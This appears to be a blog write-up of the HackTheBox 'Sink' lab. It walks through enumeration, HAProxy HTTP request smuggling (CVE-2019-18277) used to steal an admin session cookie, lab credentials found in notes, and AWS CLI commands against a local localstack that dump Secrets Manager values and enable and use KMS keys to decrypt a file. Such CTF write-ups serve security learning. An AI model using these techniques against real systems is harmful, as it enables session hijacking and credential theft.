Home Hackthebox - Sink
Post
Cancel

Hackthebox - Sink

x00tex

Enumeration

IP-ADDR: 10.10.10.225 sink.htb

nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=b06d007546b891b1; Path=/; HttpOnly
|     Set-Cookie: _csrf=g8iWus6Yg0Gy4q5O_dzZHqGWHTM6MTYyODczODc4MTA2ODg3ODgzMQ; Path=/; Expires=Fri, 13 Aug 2021 03:26:21 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 12 Aug 2021 03:26:21 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
5000/tcp open  http    Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
  • Port 3000 is running “gitea”, Identified from fingerprint-strings.
  • Port 5000 is running “gunicorn/20.0.0” server.
  • Gitea running Version: 1.12.6
  • There is no signup option in gitea.
  • Only interesting thing found is, user “root” contributions but can not see them

Final thing before diving is that “gunicorn” is a python http server and it cannot handle brute forcing or fuzzing.

Port 5000 gunicorn is server running a static webapp and have login and signup option

Found haproxy is running from response header when doing sign. Also get a session cookie which is a flash auth token.

we can verify cookie with flask-unsign

1
2
❯ flask-unsign --decode --cookie 'eyJlbWFpbCI6Int7Nyo3fX1AdGVzdC5jb20ifQ.YSyjmQ.1l4PRcj8FZl60I98PFQkHpyaF-E'
{'email': '{\{7*7\}}@test.com'}

From google search for “haproxy” for something that already known and found

Guessing haproxy version

There is HTTP Request Smuggling Vulnerability in haproxy package, versions <1.8.19-1+deb10u3; Source snyk Vulnerability DB

Vulnerability resolve in Debian:10 haproxy to version 1.8.19-1+deb10u3 or higher.

The way i verify that this Vulnerability present in this box is,

From Port 22 version header “OpenSSH 8.2p1 Ubuntu 4ubuntu0.1”, Running host version is possibly “Focal” and update date 2020-06-08; Source launchpad

And Vulnerability resolve on 2020-09-26 update. Source launchpad

Or, Just send a bad request to server and it will return the version number

Server is running version 1.9.10 and http smuggling Vulnerability found in HAProxy before 2.0.6.

Foothold

http Request Smuggling

“When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to “smuggle” a request to one device without the other device being aware of it.”

Important terms

  • transfer-encoding: The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user; Source developer.mozilla.org
  • “chunked” value specifications.
    • With chunked value Enable, Data is sent in a series of chunks.
    • The Content-Length header is omitted.
    • At the beginning of each chunk(data) you need to add the length of the current chunk in hexadecimal format, followed by ‘\r\n’ and then the chunk itself, followed by another ‘\r\n’.
    • The terminating chunk is a regular chunk, with the exception that its length is zero and formatted same as regular data chunks.
  • RFC2616

Resources for learning/understanding

Tools

Exploit CL.TE

CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

hacktricks source that found from google search.

CVE identifier: CVE-2019-18277

Vulnerability Description: “A flaw was found in HAProxy before 2.0.6. In legacy mode, messages featuring a transfer-encoding header missing the “chunked” value were not being correctly rejected. The impact was limited but if combined with the “http-reuse always” setting, it could be used to help construct an HTTP request smuggling attack against a vulnerable component employing a lenient parser that would ignore the content-length header as soon as it saw a transfer-encoding one (even if not entirely valid according to the specification).”

And here is the haproxy Vulnerability PoC by ndavison

When Transfer-Encoding and Content-Length is provided together, The request HAProxy sends to the backend has correctly prioritized Transfer-Encoding, and has stripped out the content-length and cut off everything, which went outside the boundary of the Transfer-Encoding request (Anything after 0).

However, if we have a \x0b (vertical tab) before the “chunked” string (note: \x0c aka form feed also works).

In this case, the Transfer-Encoding is not detected by HAProxy, and so the Content-Length is used. However, because the Transfer-Encoding remains in the request sent to the backend, it means that if a backend server manages to parse the Transfer-Encoding header and proceeds to treat the request as a TE encoded request, a desync could occur and the backend TCP socket could be poisoned. This could then lead to HTTP request smuggling.

So if the backend server allowed Transfer-Encoding then backend server give priority to Transfer-Encoding header and terminate request at terminating chunk 0 and anything after that treated as second request.

  • If not worked then use connection as keep-alive

And you can add 0b byte before chunked string from hex tab in repeater window and with \n switch in repeater window you can see non-printable chars

If everything goes well, our comment contains admin session cookie

Got admin cookie because while backend server waiting to complete 300 bytes of data of our request while frontend server forward another user’s request to backend and this request concatenate to our request to complete 300 bytes.

And replacing session cookie with admin cookie ge to the admin panel

From admin’s /notes found 3 notes with creds and subdomains

1
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz 
1
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3 
1
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C 

First i tried to login to gitea server because there is a user named “root” who has some contributions

With root:FaH@3L>Z3})zzfQ3 creds logged in successfully and found some repositories

Some interesting Information collected from these repositories:

  • Got ssh key for user “marcus” from http://10.10.10.225:3000/root/Key_Management/commit/b01a6b7ed372d154ed0bc43a342a5e1203d07b1e commit in root’s “Key_Management” repository.

  • Found some aws secret from http://10.10.10.225:3000/root/Log_Management/commit/e8d68917f2570f3695030d0ded25dc95738fb1ba commit in root’s “Log_Management” repository.

Privesc

  • Get shell as user marcus and there is a another use name “david”.

There are multiple containerd container (total 16) running same web server application.

This application is same, where we exploit http request smuggling in foothold.

  • Every container of this application is running some services that doing there parts(guessing)

    • Running /usr/local/bin/gunicorn server.
    • Running /home/haproxy/haproxy server.
    • Executing /home/bot/bot.py which give us admin token from http smuggling attack.
    • Running /usr/bin/fail2ban-server to prevent brute-force on web server.

There are some local services running

Port 4566 is by defaut used by localstack

localstack running from a container on 172.18.0.2.

  • localstack provides an easy-to-use test/mocking framework for developing Cloud applications. It spins up a testing environment on your local machine that provides the same functionality and APIs as the real AWS cloud environment.
  • awscli already installed in the box.

There is a local aws instance is running and awscli already installed in the box and we found aws secret from gitea.

AWS secretsmanager

Configure awscli to access localstack instance by running aws configure

Get access to aws secretsmanager, aws secrets manager stores credentials.

1
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager list-secrets

There are 3 secret IDs(ARN), we can retrieve there secret string with; Source aws docs

1
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id <ARN>

and get david password from "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-LtCKQ"

There is a encrypted file in david home folder

AWS kms decrypt

From aws kms docs found some kms command that are useful.

decrypt: Decrypts ciphertext that was encrypted by a KMS key.

enable-key: Sets the key state of a KMS key to enabled. This allows you to use the KMS key for cryptographic operations.

list-keys : Gets a list of all KMS keys in the caller’s Amazon Web Services account and Region.

describe-key: Provides detailed information about a KMS key.

Get kms key from aws server

1
aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys

Now to can decrypt that file with decrypt command

1
2
3
4
5
aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt \
    --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc \
    --key-id <KeyId> \
    --output text \
    --query Plaintext | base64

but when run this command, get key is disabled error.

First we need to enable all key with

1
aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id <KeyId>

Second, This file is not encrypted with default encryption algorithm. We can check this by describing ‘KeyArn”

1
aws --endpoint-url="http://127.0.0.1:4566/" kms describe-key --key-id "<KeyArn>"

Final decryption script

1
2
3
4
5
6
7
8
9
10
11
12
keys=$(aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep KeyId | cut -d'"' -f4)

for key in $keys;
do
	aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id "$key"
	aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt \
	    --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc \
	    --encryption-algorithm "RSAES_OAEP_SHA_256" \
	    --key-id "$key" \
	    --output text \
	    --query Plaintext | base64
done

And file decrypted with 804125db-bdf1-465a-a058-07fc87c0fad0

1
2
3
4
5
6
7
aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt \
    --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc \
    --encryption-algorithm "RSAES_OAEP_SHA_256" \
    --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 \
    --output text \
    --query Plaintext | base64 \
    --decode > decrypted-file

Got an admin password which worked for root user.

This post is licensed under CC BY 4.0 by the author.